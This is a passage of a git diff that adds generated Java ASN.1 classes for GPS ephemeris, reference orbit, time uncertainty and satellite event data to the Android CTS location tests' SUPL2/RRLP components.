+ private static final Asn1Tag TAG_ephemerisExtensionDurationType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ephemerisExtensionDurationType() {
+ super();
+ setValueRange("1", "512");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ephemerisExtensionDurationType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ephemerisExtensionDurationType != null) {
+ return ImmutableList.of(TAG_ephemerisExtensionDurationType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ephemerisExtensionDurationType from encoded stream.
+ */
+ public static ephemerisExtensionDurationType fromPerUnaligned(byte[] encodedBytes) {
+ ephemerisExtensionDurationType result = new ephemerisExtensionDurationType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ephemerisExtensionDurationType from encoded stream.
+ */
+ public static ephemerisExtensionDurationType fromPerAligned(byte[] encodedBytes) {
+ ephemerisExtensionDurationType result = new ephemerisExtensionDurationType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ephemerisExtensionDurationType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GPSEphemerisExtensionHeader = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisExtensionTime.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisExtensionTime.java
new file mode 100755
index 0000000..20c17df
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisExtensionTime.java
@@ -0,0 +1,366 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GPSEphemerisExtensionTime extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GPSEphemerisExtensionTime
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GPSEphemerisExtensionTime() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GPSEphemerisExtensionTime;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GPSEphemerisExtensionTime != null) {
+ return ImmutableList.of(TAG_GPSEphemerisExtensionTime);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GPSEphemerisExtensionTime from encoded stream.
+ */
+ public static GPSEphemerisExtensionTime fromPerUnaligned(byte[] encodedBytes) {
+ GPSEphemerisExtensionTime result = new GPSEphemerisExtensionTime();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GPSEphemerisExtensionTime from encoded stream.
+ */
+ public static GPSEphemerisExtensionTime fromPerAligned(byte[] encodedBytes) {
+ GPSEphemerisExtensionTime result = new GPSEphemerisExtensionTime();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GPSWeek gpsWeek_;
+ public GPSWeek getGpsWeek() {
+ return gpsWeek_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSWeek
+ */
+ public void setGpsWeek(Asn1Object value) {
+ this.gpsWeek_ = (GPSWeek) value;
+ }
+ public GPSWeek setGpsWeekToNewInstance() {
+ gpsWeek_ = new GPSWeek();
+ return gpsWeek_;
+ }
+
+ private GPSEphemerisExtensionTime.gpsTOWType gpsTOW_;
+ public GPSEphemerisExtensionTime.gpsTOWType getGpsTOW() {
+ return gpsTOW_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSEphemerisExtensionTime.gpsTOWType
+ */
+ public void setGpsTOW(Asn1Object value) {
+ this.gpsTOW_ = (GPSEphemerisExtensionTime.gpsTOWType) value;
+ }
+ public GPSEphemerisExtensionTime.gpsTOWType setGpsTOWToNewInstance() {
+ gpsTOW_ = new GPSEphemerisExtensionTime.gpsTOWType();
+ return gpsTOW_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGpsWeek() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsWeek();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsWeekToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSWeek.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsWeek : "
+ + getGpsWeek().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGpsTOW() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsTOW();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsTOWToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisExtensionTime.gpsTOWType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsTOW : "
+ + getGpsTOW().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gpsTOWType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gpsTOWType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gpsTOWType() {
+ super();
+ setValueRange("0", "604799");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gpsTOWType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gpsTOWType != null) {
+ return ImmutableList.of(TAG_gpsTOWType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gpsTOWType from encoded stream.
+ */
+ public static gpsTOWType fromPerUnaligned(byte[] encodedBytes) {
+ gpsTOWType result = new gpsTOWType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gpsTOWType from encoded stream.
+ */
+ public static gpsTOWType fromPerAligned(byte[] encodedBytes) {
+ gpsTOWType result = new gpsTOWType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gpsTOWType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GPSEphemerisExtensionTime = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSReferenceOrbit.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSReferenceOrbit.java
new file mode 100755
index 0000000..ee2fc13
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSReferenceOrbit.java
@@ -0,0 +1,344 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GPSReferenceOrbit extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GPSReferenceOrbit
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GPSReferenceOrbit() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GPSReferenceOrbit;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GPSReferenceOrbit != null) {
+ return ImmutableList.of(TAG_GPSReferenceOrbit);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GPSReferenceOrbit from encoded stream.
+ */
+ public static GPSReferenceOrbit fromPerUnaligned(byte[] encodedBytes) {
+ GPSReferenceOrbit result = new GPSReferenceOrbit();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GPSReferenceOrbit from encoded stream.
+ */
+ public static GPSReferenceOrbit fromPerAligned(byte[] encodedBytes) {
+ GPSReferenceOrbit result = new GPSReferenceOrbit();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SVID svID_;
+ public SVID getSvID() {
+ return svID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SVID
+ */
+ public void setSvID(Asn1Object value) {
+ this.svID_ = (SVID) value;
+ }
+ public SVID setSvIDToNewInstance() {
+ svID_ = new SVID();
+ return svID_;
+ }
+
+ private ReferenceNavModel gpsOrbitModel_;
+ public ReferenceNavModel getGpsOrbitModel() {
+ return gpsOrbitModel_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReferenceNavModel
+ */
+ public void setGpsOrbitModel(Asn1Object value) {
+ this.gpsOrbitModel_ = (ReferenceNavModel) value;
+ }
+ public ReferenceNavModel setGpsOrbitModelToNewInstance() {
+ gpsOrbitModel_ = new ReferenceNavModel();
+ return gpsOrbitModel_;
+ }
+
+ private GPSClockModel gpsClockModel_;
+ public GPSClockModel getGpsClockModel() {
+ return gpsClockModel_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSClockModel
+ */
+ public void setGpsClockModel(Asn1Object value) {
+ this.gpsClockModel_ = (GPSClockModel) value;
+ }
+ public GPSClockModel setGpsClockModelToNewInstance() {
+ gpsClockModel_ = new GPSClockModel();
+ return gpsClockModel_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSvID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSvID();
+ }
+
+ @Override public void setToNewInstance() {
+ setSvIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SVID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "svID : "
+ + getSvID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGpsOrbitModel() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsOrbitModel();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsOrbitModelToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReferenceNavModel.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsOrbitModel : "
+ + getGpsOrbitModel().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getGpsClockModel() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsClockModel();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsClockModelToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSClockModel.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsClockModel : "
+ + getGpsClockModel().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GPSReferenceOrbit = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSReferenceTimeUncertainty.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSReferenceTimeUncertainty.java
new file mode 100755
index 0000000..f884567
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSReferenceTimeUncertainty.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GPSReferenceTimeUncertainty extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_GPSReferenceTimeUncertainty
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GPSReferenceTimeUncertainty() {
+ super();
+ setValueRange("0", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GPSReferenceTimeUncertainty;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GPSReferenceTimeUncertainty != null) {
+ return ImmutableList.of(TAG_GPSReferenceTimeUncertainty);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GPSReferenceTimeUncertainty from encoded stream.
+ */
+ public static GPSReferenceTimeUncertainty fromPerUnaligned(byte[] encodedBytes) {
+ GPSReferenceTimeUncertainty result = new GPSReferenceTimeUncertainty();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GPSReferenceTimeUncertainty from encoded stream.
+ */
+ public static GPSReferenceTimeUncertainty fromPerAligned(byte[] encodedBytes) {
+ GPSReferenceTimeUncertainty result = new GPSReferenceTimeUncertainty();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "GPSReferenceTimeUncertainty = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSSatEventsInfo.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSSatEventsInfo.java
new file mode 100755
index 0000000..cfb9647
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSSatEventsInfo.java
@@ -0,0 +1,449 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GPSSatEventsInfo extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GPSSatEventsInfo
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GPSSatEventsInfo() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GPSSatEventsInfo;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GPSSatEventsInfo != null) {
+ return ImmutableList.of(TAG_GPSSatEventsInfo);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GPSSatEventsInfo from encoded stream.
+ */
+ public static GPSSatEventsInfo fromPerUnaligned(byte[] encodedBytes) {
+ GPSSatEventsInfo result = new GPSSatEventsInfo();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GPSSatEventsInfo from encoded stream.
+ */
+ public static GPSSatEventsInfo fromPerAligned(byte[] encodedBytes) {
+ GPSSatEventsInfo result = new GPSSatEventsInfo();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GPSSatEventsInfo.eventOccuredType eventOccured_;
+ public GPSSatEventsInfo.eventOccuredType getEventOccured() {
+ return eventOccured_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSSatEventsInfo.eventOccuredType
+ */
+ public void setEventOccured(Asn1Object value) {
+ this.eventOccured_ = (GPSSatEventsInfo.eventOccuredType) value;
+ }
+ public GPSSatEventsInfo.eventOccuredType setEventOccuredToNewInstance() {
+ eventOccured_ = new GPSSatEventsInfo.eventOccuredType();
+ return eventOccured_;
+ }
+
+ private GPSSatEventsInfo.futureEventNotedType futureEventNoted_;
+ public GPSSatEventsInfo.futureEventNotedType getFutureEventNoted() {
+ return futureEventNoted_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSSatEventsInfo.futureEventNotedType
+ */
+ public void setFutureEventNoted(Asn1Object value) {
+ this.futureEventNoted_ = (GPSSatEventsInfo.futureEventNotedType) value;
+ }
+ public GPSSatEventsInfo.futureEventNotedType setFutureEventNotedToNewInstance() {
+ futureEventNoted_ = new GPSSatEventsInfo.futureEventNotedType();
+ return futureEventNoted_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getEventOccured() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEventOccured();
+ }
+
+ @Override public void setToNewInstance() {
+ setEventOccuredToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSSatEventsInfo.eventOccuredType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "eventOccured : "
+ + getEventOccured().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getFutureEventNoted() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getFutureEventNoted();
+ }
+
+ @Override public void setToNewInstance() {
+ setFutureEventNotedToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSSatEventsInfo.futureEventNotedType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "futureEventNoted : "
+ + getFutureEventNoted().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
